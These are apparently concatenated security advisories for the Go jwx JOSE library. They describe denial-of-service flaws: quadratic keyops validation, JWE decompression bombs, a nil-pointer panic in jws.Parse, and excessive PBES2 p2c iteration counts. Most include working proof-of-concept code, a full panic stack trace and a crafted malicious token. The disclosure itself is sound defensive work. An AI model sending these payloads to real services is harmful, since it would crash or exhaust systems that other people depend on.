jwkFields.CheckConsistency detected duplicate keyops entries with a pairwise nested loop, making validation cost grow with the square of the entry count. Because the check runs on every JWK and JWKS unmarshal, a modestly sized but hostile JWKS document could occupy a CPU core for many seconds.

Summary This vulnerability allows an attacker with a trusted public key to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the recipient, it results in significant memory allocation and processing time during decompression.

Details

The attacker needs to obtain a valid public key to compress the payload. It needs to be valid so that the recipient can use to successfully decompress the payload. Furthermore in context JWT processing in the v2 versions, the recipient must explicitly allow JWE handling .

The attacker then crafts a message with high compression ratio, e.g. a payload with very high frequency of repeating patterns that can decompress to a much larger size. If the payload is large enough, recipient who is decompressing the data will have to allocate a large amount of memory, which then can lead to a denial of service.

The original report includes a reference to [1], but there are some very subtle differences between this library and the aforementioned issue. The most important aspect is that the referenced issue focuses on JWT processing, whereas this library is intentionally divided into parts that comprise JOSE, i.e. JWT, JWS, JWE, JWK. In particular, v2 of this library does not attempt to handle JWT payload enveloped in a JWE message automatically (v1 attempted to do this automatically, but it was never stable).

Reflecting this subtle difference, the approach taken to mitigate this vulnerability is slightly different from the referenced issue. The referenced issue limits the size of JWT when parsing, but the fixes for this library limits the maximum size of the decompressed data when decrypting JWE messages. Therefore the fix in this library is applicable regardless of the usage context, and a limit is now imposed on the size of the message that our JWE implementation can handle.

Proof of Concept

Modified from the original report to fit the vulnerability better:

go // The value below just needs to be "large enough" so that the it puts enough strain on the // recipient's environment. The value below is a safe size on my machine to run the test // without causing problems. When you increase the payload size, at some point the processing // will be slow enough to virtually freeze the program or cause a memory allocation error const payloadSize = 1 << 31

privkey, err := rsa.GenerateKey(rand.Reader, 2048) require.NoError(t, err, rsa.GenerateKey should succeed) pubkey := &privkey.PublicKey payload := strings.Repeat("x", payloadSize)

encrypted, err := jwe.Encrypt([]byte(payload), jwe.WithKey(jwa.RSAOAEP, pubkey), jwe.WithContentEncryption("A128CBC-HS256"), jwe.WithCompress(jwa.Deflate)) require.NoError(t, err, jwe.Encrypt should succeed) , err = jwe.Decrypt(encrypted, jwe.WithKey(jwa.RSAOAEP, privkey)) // Will be allocating large amounts of memory require.Error(t, err, jwe.Decrypt should fail)

References

[1] CVE-2024-21319

Summary

Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference.

Details

This seems to also affect other functions that calls Parse internally, like jws.Verify.

My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.

Based on the stack trace in the PoC, the issue seems to be that the processing done in jws/message.go:UnmarshalJSON() assumes that if a signature field is present, then a protected field is also present. If this is not the case, then the subsequent call to getB64Value(sig.protected) will dereference sig.protected, which is nil.

PoC

Reproducer:

go package poc

import ( "testing"

"github.com/lestrrat-go/jwx/v2/jws" )

func TestPOC(t testing.T) { , = jws.Parse([]byte({"signature": ""})) }

Result:

$ go test --- FAIL: TestPOC (0.00s) panic: runtime error: invalid memory address or nil pointer dereference [recovered] panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]

goroutine 6 [running]: testing.tRunner.func1.2({0x628800, 0x831030}) /usr/local/go/src/testing/testing.go:1545 +0x238 testing.tRunner.func1() /usr/local/go/src/testing/testing.go:1548 +0x397 panic({0x628800?, 0x831030?}) /usr/local/go/src/runtime/panic.go:914 +0x21f github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?}) /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:484 +0x18 github.com/lestrrat-go/jwx/v2/jws.(Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200}) /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/message.go:323 +0x4ad encoding/json.(decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?}) /usr/local/go/src/encoding/json/decode.go:604 +0x6cc encoding/json.(decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?}) /usr/local/go/src/encoding/json/decode.go:374 +0x3e encoding/json.(decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?}) /usr/local/go/src/encoding/json/decode.go:181 +0x133 encoding/json.(Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140}) /usr/local/go/src/encoding/json/stream.go:73 +0x179 github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140}) /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/internal/json/json.go:26 +0x97 github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11}) /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:588 +0x50 github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?}) /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:525 +0x89 poc.TestPOC(0x0?) /home/fredrik/src/jwxpoc/poctest.go:10 +0x57 testing.tRunner(0xc0000e4340, 0x68ef30) /usr/local/go/src/testing/testing.go:1595 +0xff created by testing.(T).Run in goroutine 1 /usr/local/go/src/testing/testing.go:1648 +0x3ad exit status 2 FAIL poc 0.005s

Impact

The vulnerability can be used to crash / DOS a system doing JWS verification.

Summary too high p2c parameter in JWE's alg PBES2- could lead to a DOS attack

Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack

PoC go package main

import ( "fmt" "github.com/lestrrat-go/jwx/v2/jwa" "github.com/lestrrat-go/jwx/v2/jwe" "github.com/lestrrat-go/jwx/v2/jwk" )

func main() { token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6iTaGsgqEOxU-1Sgdakp4mHq7UVhn-REzOiGz2gg.gULfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA") key, err := jwk.FromRaw([]byte(abcdefg)) payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2HS256A128KW, key)) if err == nil { fmt.Println(string(payload)) } }

Impact It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.